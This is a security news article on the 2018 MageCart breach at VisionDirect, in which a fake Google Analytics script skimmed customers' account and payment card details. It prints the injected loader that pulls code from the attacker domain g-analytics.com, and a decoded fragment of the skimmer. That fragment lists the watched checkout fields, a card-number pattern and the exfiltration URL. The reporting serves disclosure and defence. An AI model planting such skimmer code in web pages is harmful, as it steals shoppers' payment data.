VisionDirect Data Breach Caused by MageCart Attack

bleepingcomputer.com/news/security/visiondirect-data-breach-caused-by-magecart-attack/

Lawrence Abrams

By
Lawrence Abrams

- November 19, 2018
- 01:59 PM
- 0

VisionDirect, a popular contact lens online merchant in Europe, has posted an advisory stating that their web site had a data breach that led to the theft of credit card and account information.

According to the notification, account and payment information entered on the site between November 3rd and November 8th could have been captured and sent to attackers. This data includes all account information such as billing addresses, phone numbers, and credit card information.

"The personal information was compromised when it was being entered into the site and includes full name, billing address, email address, password, telephone number and payment card information, including card number, expiry date and CVV," stated the advisory.

VisionDirect stated that Paypal payment credentials would not have been stolen.

This attack only affected visitors who logged into their accounts and entered or updated their account information during the affected period. Users who simply visited the site or used store billing information would not have been affected.

VisionDirect said they will be contacting all affected customers in the next few days.

Compromise was caused by MageCart script

This data breach was caused by a MageCart attack, which is when attackers add malicious JavaScript to a site that captures payment and account information when it is entered into a form or submitted.

In this particular attack, a script was added various VisionDirect domains that pretended to be Google Analytics.

> That's exactly what it was. The data was stolen via a fake Google Analytics script: https://g-analytics[.]com/libs/1.0.16/analytics.js – you can view a copy of the JS via the @urlscanio archive of https://t.co/TV22dxvCcK https://t.co/SFi5Wp4gm3 pic.twitter.com/rY13cMR2TL
>
> — Bad Packets Report (@bad_packets) November 18, 2018

While the script looks very similar to the normal Google Analytics code, the domain g-analytics[.]com is not actually owned by Google. Instead this domain is owned by the attackers who use it to store the stolen credit card and account information.

```
   <!-- BEGIN GOOGLE ANALYTICS CODE -->
 <script type="text/javascript">
 //<![CDATA[
   (function() {
      var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
      ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') +
      'g-analytics.com/libs/1.0.16/analytics.js';
      (document.getElementsByTagName('head')[0] ||
      document.getElementsByTagName('body')[0]).appendChild(ga);
   })();

   var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-200287-1']);
_qaq.push(['_trackPageview']);


 //]]>
 </script>
 <!-- END GOOGLE ANALYTICS CODE -->

<!-- /var/www2/magento/app/design/frontend/base/default/layout/layoutblocks.xml -->
<script type="text/javascript" src="
https://static.visiondirect.info/media/js/753839d32e677585836be291ae52edcc.js"></script>
```

Malicious script on VisionDirect pretending to be Google Analytics

Security researcher Willem de Groot told BleepingComputer that he had discovered this domain being used in MageCart attacks in early September.

"In this case, the breach is related to several payment exfiltration domain that we saw earlier, such as g-statistic .com, google-anaiytic .com, msn-analytics .com"

De Groot further stated that even though the advisory only mentions visiondirect.co.uk, domains for other countries were also affected.

> It wasn't just UK. Also infected between Nov 3rd and Nov8th:https://t.co/fQy7WsKmfqhttps://t.co/8JUn9frF9vhttps://t.co/WBCPQOIv46https://t.co/DCyaQzuTkMhttps://t.co/pwfBvDWZDzhttps://t.co/q9of3VMPZ5https://t.co/LclCV3VvHYhttps://t.co/Ouge4ebR7vhttps://t.co/85sRXtC50m
>
> — Willem de Groot (@gwillem) November 18, 2018

While the script is heavily obfuscated, one portion containing a list of strings used by the script was easily decoded. In the below script you can see various strings that are being monitored such as payment, checkout, admin, login, password, account, and cart submissions.

```
    }
}), (function() {
    var a = ["noConflict", "click", "button, .form-button, .onestepcheckout-button, .btn,
    #onestepcheckout-place-order, .onestepcheckout-place-order, .onestepcheckout-place-order-wrapper",
    "", "post", "location", "test", "onepage|checkout|onestep|payment|admin|account|login|password|cart",
    "input, select, textarea, checkbox", "querySelectorAll", "length", "value", "name", "=", "&", "setItem",
    "gaudid", "getItem", "toUpperCase", "join", "toString", "random", "map", ".address:first", "find",
    "#sectionBillingAddress", "class", "attr", "billing-address-section[", "]", "text", "each", "children", "trim",
    "end", "remove", "clone", "billing-address-section[country]", "#sectionDeliveryAddress",
    "delivery-address-section[", "delivery-address-section[country]", "key", "[0-9]{13,16}",
    "4d25a9bb5f714290adb1334942e2e94f0c2595f5af50aeb9bc811717650fce08",
    "xovyx8w9rqlm1ystwu2tqazh4m26jsqw", "&asd=", "replace", "&utmp=", "&gaudid=", "enc",
    "/g-analytics.com/__utm.gif?v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp
    =2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071",
    "html", "<div />", "open", "Content-type", "application/x-www-form-urlencoded", "setRequestHeader",
    "v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=25640&vp=2145x371&je=0&_u=AACAAEA
    B~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071&track=", "send", "on"];

    function b($) {
```

Decoded Strings

Recently we reported on the Infowars.com's online store also being compromised with a MageCart attack. In that attack, the malicious script was also masquerading as Google Analytics but used the domain google-analyitics[.]org instead. While the attack method is similar, the script itself is quite different.

When BleepingComputer asked De Groot if there was any connection between these attackers and the one who targeted InfoWars, he said there was no way to conclude that they were same group.

"Could be, but I have not found other commonalities so far," De Groot told BleepingComputer. "They certainly use different type of malware. Sorry, I see it would be nice if you could link them up. But cannot say for sure."

Alex Jones, the owner of Infowars, felt that his attackers were Communist China, "Big Tech", and the U.S. Democratic party.

BleepingComputer has contacted VisionDirect regarding this breach, but had not heard back at the time of this publication.

Related Articles:

Microsoft: Credit card stealers are getting much stealthier

Caramel credit card stealing service is growing in popularity

General Motors credential stuffing attack exposes car owners info

Ransomware attack exposes data of 500,000 Chicago students

Engineering firm Parker discloses data breach after ransomware attack

Lawrence Abrams

Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.